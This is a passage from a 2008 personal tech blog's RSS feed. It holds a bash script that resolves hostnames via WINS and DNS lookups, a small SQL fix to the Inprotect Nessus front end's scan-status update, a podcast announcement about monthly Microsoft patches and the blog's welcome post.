<span style="color: #007800;">SEARCH_FILE=</span>$<span style="color: #000000;">1</span>
&nbsp;
<span style="color: #007800;">TIME=</span>`<span style="color: #c20cb9; font-weight: bold;">date</span> +%s`
<span style="color: #007800;">BASE=</span>`<span style="color: #7a0874; font-weight: bold;">echo</span> $<span style="color: #000000;">1</span> | <span style="color: #c20cb9; font-weight: bold;">cut</span> -d. -f1`
<span style="color: #007800;">GOOD=</span><span style="color: #ff0000;">&quot;${BASE}_ip_${TIME}.txt&quot;</span>
<span style="color: #007800;">BAD=</span><span style="color: #ff0000;">&quot;${BASE}_noip_${TIME}.txt&quot;</span>
<span style="color: #007800;">NO_PING=</span><span style="color: #ff0000;">&quot;${BASE}_noping_${TIME}.txt&quot;</span>
<span style="color: #007800;">WINS=</span><span style="color: #ff0000;">&quot;1.1.1.1&quot;</span>
&nbsp;
<span style="color: #000000; font-weight: bold;">for</span> i <span style="color: #000000; font-weight: bold;">in</span> $<span style="color: #7a0874; font-weight: bold;">&#40;</span><span style="color: #c20cb9; font-weight: bold;">cat</span> <span style="color: #007800;">$SEARCH_FILE</span><span style="color: #7a0874; font-weight: bold;">&#41;</span>; <span style="color: #000000; font-weight: bold;">do</span>
  <span style="color: #007800;">IP=</span>`nmblookup -U <span style="color: #007800;">$WINS</span> -R <span style="color: #007800;">$i</span> | <span style="color: #c20cb9; font-weight: bold;">grep</span> \&lt;<span style="color: #000000;">00</span>\&gt; | <span style="color: #c20cb9; font-weight: bold;">sed</span> -e <span style="color: #ff0000;">'s/&amp;lt;00&amp;gt;//g'</span> | <span style="color: #c20cb9; font-weight: bold;">cut</span> -d\  -f1 | <span style="color: #c20cb9; font-weight: bold;">head</span> <span style="color: #000000;">-1</span>`
  <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$IP</span><span style="color: #ff0000;">&quot;M&quot;</span> == <span style="color: #ff0000;">&quot;M&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
    <span style="color: #007800;">IP=</span>`nslookup <span style="color: #007800;">$i</span> | <span style="color: #c20cb9; font-weight: bold;">grep</span> Address | <span style="color: #c20cb9; font-weight: bold;">grep</span> -v \<span style="color: #808080; font-style: italic;"># | <span style="color: #c20cb9; font-weight: bold;">tail</span> <span style="color: #000000;">-1</span> | <span style="color: #c20cb9; font-weight: bold;">cut</span> -d\  -f2`</span>
    <span style="color: #000000; font-weight: bold;">if</span> <span style="color: #7a0874; font-weight: bold;">&#91;</span> <span style="color: #007800;">$IP</span><span style="color: #ff0000;">&quot;M&quot;</span> == <span style="color: #ff0000;">&quot;M&quot;</span> <span style="color: #7a0874; font-weight: bold;">&#93;</span>; <span style="color: #000000; font-weight: bold;">then</span>
      <span style="color: #007800;">LOGFILE=</span><span style="color: #007800;">$GOOD</span>
      <span style="color: #007800;">IP=</span><span style="color: #007800;">$i</span>
    <span style="color: #000000; font-weight: bold;">else</span>
      <span style="color: #007800;">LOGFILE=</span><span style="color: #007800;">$NO_PING</span>;
    <span style="color: #000000; font-weight: bold;">fi</span>
  <span style="color: #000000; font-weight: bold;">else</span>
    <span style="color: #007800;">LOGFILE=</span><span style="color: #007800;">$BAD</span>;
  <span style="color: #000000; font-weight: bold;">fi</span>
  <span style="color: #7a0874; font-weight: bold;">echo</span> <span style="color: #007800;">$IP</span> &gt;&gt; <span style="color: #007800;">$LOGFILE</span>;
<span style="color: #000000; font-weight: bold;">done</span></pre>
<p>The script spits out a couple of file as defined by the <em>GOOD </em>and<em> BAD </em> variables.</p>
<p><em>GOOD</em> file contains all the successfully lookups</p>
<p><em>BAD</em> file contains all the failed lookups</p>
<p>If you find it handy let me know.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=42</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Inprotect nessus_scan.pl fix</title>
		<link>http://tech.archondan.com/?p=38</link>
		<comments>http://tech.archondan.com/?p=38#comments</comments>
		<pubDate>Wed, 29 Oct 2008 01:37:53 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Perl]]></category>
		<category><![CDATA[Scripts]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[fix]]></category>
		<category><![CDATA[Inprotect]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=38</guid>
		<description><![CDATA[I have been working with version v0.80.1 Beta of Inprotect, a web and reporting front end for Nessus. It's been quite a while since the project has been updated but overall it still works fairly well out of the box. One small issue I found was completed scans that were getting stuck in the a [...]]]></description>
			<content:encoded><![CDATA[<p>I have been working with version <em>v0.80.1 Beta</em> of <a title="Inprotect" href="http://inprotect.sourceforge.net/" target="_self">Inprotect</a>, a web and reporting front end for Nessus. It's been quite a while since the project has been updated but overall it still works fairly well out of the box. One small issue I found was completed scans that were getting stuck in the a <strong>Running</strong> state and never being removed from the nessus_scan table.</p>
<p>The bug is in the <strong><em>/usr/local/bin/nessus_scan.pl</em></strong> when it updates the nessus_scan table around line number 193 in my version of the script:</p>
<pre class="perl">         <span style="color: #808080; font-style: italic;"># set a scan schedule to a running state</span>
           <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sth_updnsr</span> = <span style="color: #0000ff;">$dbhf</span>-&amp;gt;prepare<span style="color: #66cc66;">&#40;</span><a href="http://perldoc.perl.org/functions/qq.html"><span style="color: #000066;">qq</span></a><span style="color: #66cc66;">&#123;</span>
           UPDATE nessus_scan
           SET status=<span style="color: #ff0000;">&quot;R&quot;</span>, start_dttm=now<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>, process_id=?
           WHERE server_id=?
           AND sched_id=?
           <span style="color: #66cc66;">&#125;</span> <span style="color: #66cc66;">&#41;</span>;</pre>
<p>This bit of code updates every scan row to a running state even if it has completed. So when all scans are done the clean up process can not happen. It's not a major bug but the schedule that ran is never marked complete and can not be executed again until all the running scans are cleaned up.</p>
<p>To fix this issue just modify the bit of code above and add another section to the where clause "ADD end_dttm IS NULL".</p>
<pre class="perl">         <span style="color: #808080; font-style: italic;"># set a scan schedule to a running state</span>
           <span style="color: #b1b100;">my</span> <span style="color: #0000ff;">$sth_updnsr</span> = <span style="color: #0000ff;">$dbhf</span>-&amp;gt;prepare<span style="color: #66cc66;">&#40;</span><a href="http://perldoc.perl.org/functions/qq.html"><span style="color: #000066;">qq</span></a><span style="color: #66cc66;">&#123;</span>
           UPDATE nessus_scan
           SET status=<span style="color: #ff0000;">&quot;R&quot;</span>, start_dttm=now<span style="color: #66cc66;">&#40;</span><span style="color: #66cc66;">&#41;</span>, process_id=?
           WHERE server_id=?
           AND sched_id=?
           AND end_dttm IS NULL
           <span style="color: #66cc66;">&#125;</span> <span style="color: #66cc66;">&#41;</span>;</pre>
<p>Now the scans will be marked as completed and the system can clean everything up and mark the schedule finished.</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=38</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Monthly MS Patch Review Podcast</title>
		<link>http://tech.archondan.com/?p=35</link>
		<comments>http://tech.archondan.com/?p=35#comments</comments>
		<pubDate>Wed, 29 Oct 2008 01:32:19 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Patches]]></category>
		<category><![CDATA[Security]]></category>
		<category><![CDATA[Technology]]></category>
		<category><![CDATA[Windows]]></category>
		<category><![CDATA[Microsoft]]></category>
		<category><![CDATA[Podcast]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=35</guid>
		<description><![CDATA[If anyone out in Internet land is really, really bored. Check out a Podcast a co-worker and I are putting together to cover the monthly Microsoft patches. This is only the second one we've done so go easy on us  
Risk Management Peer Group Podcasts
]]></description>
			<content:encoded><![CDATA[<p><a href="http://tech.archondan.com/wp-content/uploads/2008/10/header.gif"><img class="alignleft size-medium wp-image-34" title="ILTA" src="http://tech.archondan.com/wp-content/uploads/2008/10/header.gif" alt="" width="237" height="67" /></a>If anyone out in Internet land is really, really bored. Check out a Podcast a co-worker and I are putting together to cover the monthly Microsoft patches. This is only the second one we've done so go easy on us <img src='http://tech.archondan.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<p><a href="http://www.iltanet.org/communications/transcript_detail.aspx?nvID=000000011405&amp;h4ID=000001368205" target="_self">Risk Management Peer Group Podcasts</a></p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=35</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Welcome!</title>
		<link>http://tech.archondan.com/?p=3</link>
		<comments>http://tech.archondan.com/?p=3#comments</comments>
		<pubDate>Tue, 28 Oct 2008 00:11:56 +0000</pubDate>
		<dc:creator>Archondan</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://tech.archondan.com/?p=3</guid>
		<description><![CDATA[Welcome to the tech side of my world. I originally wanted to only have one site, a place where I could post the tech nuggets I either come up with or find out in the wild and explore my gaming addition. Unfortunately the two worlds don't really mix well for me. I have extended the [...]]]></description>
			<content:encoded><![CDATA[<p>Welcome to the tech side of my world. I originally wanted to only have one site, a place where I could post the tech nuggets I either come up with or find out in the wild and explore my gaming addition. Unfortunately the two worlds don't really mix well for me. I have extended the use of my gaming focused site to my buddies for our battle reports and army discussions and well the tech stuff is now out of place.</p>
<p>So I am splitting the site into two, this is going to be the tech and security focused side of me. I love working in the tech sector. I have a passion for Linux/UNIX environments and scripting/light programming, oh and I will work on Windows <img src='http://tech.archondan.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Above all else I really enjoy solving problems with scripts be it a UNIX or Windows environment.</p>
<p>This site will be an outlet for my scripting ideas and security related information. I look forward to sharing my knowledge and other tidbits I find.</p>
<p>Thanks!</p>
]]></content:encoded>
			<wfw:commentRss>http://tech.archondan.com/?feed=rss2&amp;p=3</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
